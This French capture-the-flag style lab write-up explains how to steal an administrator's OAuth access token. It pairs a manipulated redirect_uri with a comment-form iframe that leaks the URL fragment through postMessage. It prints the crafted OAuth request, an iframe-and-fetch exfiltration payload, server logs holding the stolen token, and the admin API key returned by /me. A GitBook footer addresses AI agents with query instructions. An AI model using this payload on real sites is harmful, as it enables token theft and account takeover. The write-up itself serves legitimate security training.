> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).

# Vol de jeton d’accès OAuth via une page proxy

### Vol de jetons d'accès OAuth via une page proxy

**Objectif du labo**

Ce laboratoire implémente un service OAuth permettant l'authentification via un réseau social. / Une validation insuffisante côté fournisseur OAuth nous permet de **rediriger le jeton d'accès vers n'importe quelle page de l'application cliente**.

L'objectif est :

* identify **une vulnérabilité secondaire** dans l'application cliente,
* à utiliser comme **page proxy** pour exfiltrer le jeton d'accès OAuth de l'administrateur,
* puis utiliser ce jeton pour récupérer \*\*l

" L'administrateur ouvrira tout contenu envoyé depuis le serveur d'exploitation et dispose déjà d'une session OAuth active.

<figure><img src="/files/02b3b3e2e5d9525650f491c90b6b7ae4e5d2c858" alt=""><figcaption></figcaption></figure>

\*\* Analyse de l'application cliente\*\*

Une \*\*zone de commentaires\*\* est observée sous les articles de blog.

Lors du chargement du formulaire de commentaire, une requête GET est envoyée à

```http
GET /post/comment/comment-form
```

<figure><img src="/files/4b36f2fbd109bb55df1e4949762932bcefbd68f8" alt=""><figcaption></figcaption></figure>

Le formulaire est chargé dans une **iframe**, ce qui est visible dans le code source de la page de l'article :

{% code overflow="wrap" %}

```javascript
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=2'></iframe>
```

{% endcode %}

<figure><img src="/files/eaf47f459872134f254f1d8a39e9b18f09d175d2" alt=""><figcaption></figcaption></figure>

**Comportement JavaScript intéressant**

Le formulaire contient un script JavaScript révélateur :

```javascript
<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
```

<figure><img src="/files/616d6c6343bf50c9359f5ed9a1181af9628ec3de" alt=""><figcaption></figcaption></figure>

Points clés :

* Le script \*\* lit le fragment d'URL (`#`)\*\*.
* Il envoie son contenu à la page parente via `postMessage`.
* Cela permet de *faire apparaître un jeton OAuth dans le fragment*\*.

Le formulaire de commentaire peut donc être utilisé comme **page proxy**.

**Exploitation d'OAuth via le flux implicite**

La redirection OAuth est modifiée pour pointer vers le formulaire de commentaire :

```bash
/../post/comment/comment-form
```

Exemple de requête OAuth manipulée :

```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```

Après authentification, le serveur OAuth redirige vers :

* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU

Le **Le jeton est donc exposé dans le fragment d'URL** puis transmis au parent via `postMessage`.

<figure><img src="/files/8089bded59b68f52c3ce5891b1016e5459ce732c" alt=""><figcaption></figcaption></figure>

**Charge utile envoyée à la victime**

Depuis le serveur d'exploitation, nous envoyons le contenu suivant :

```javascript
<iframe src="https://oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net/auth?client_id=ie5f3rgr0m9qqnl0phsts&redirect_uri=https://0a8100e3034ba84780b9171a008800f5.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-191514846&scope=openid%20profile%20email">
</iframe>

<script>
window.addEventListener('message', function(e) {
  fetch("/" + encodeURIComponent(e.data.data));
})
</script>

```

Opération :

* L'iframe déclenche le flux OAuth implicite.
* Le jeton est injecté dans le fragment d'URL.
* Le formulaire de commentaire envoyé via `postMessage`.
* Le script le capture et l'exfiltre vers le serveur d'exploitation.

**Récupération du jeton**

Dans les journaux du serveur d'exploitation :

{% code overflow="wrap" %}

```bash
10.0.3.168      2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

<figure><img src="/files/58b155b031b328ac4d3804c1becff1dc3cba49e3" alt=""><figcaption></figcaption></figure>

Après décodage de l'URL, le jeton est :

* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn

<figure><img src="/files/67613bf430cf7fa6defd86734acae6694adc657c" alt=""><figcaption></figcaption></figure>

**Accès à l'API avec le jeton volé**

Le jeton est utilisé pour appeler le fournisseur OAuth `/me` point de terminaison

```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```

Réponse

{% code overflow="wrap" expandable="true" %}

```json
{
        "sub":"administrator",
        "apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
        "name":"Administrator",
        "email":"administrator@normal-user.net",
        "email_verified":true
}
```

{% endcode %}

<figure><img src="/files/e1fa124c71cb00f2643436bb89a733e45e41a0c0" alt=""><figcaption></figcaption></figure>

**Résultat**

* Le jeton OAuth de l'administrateur a été volé.
* La clé API de l'administrateur a été récupérée.
* Le laboratoire est validé avec succès.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
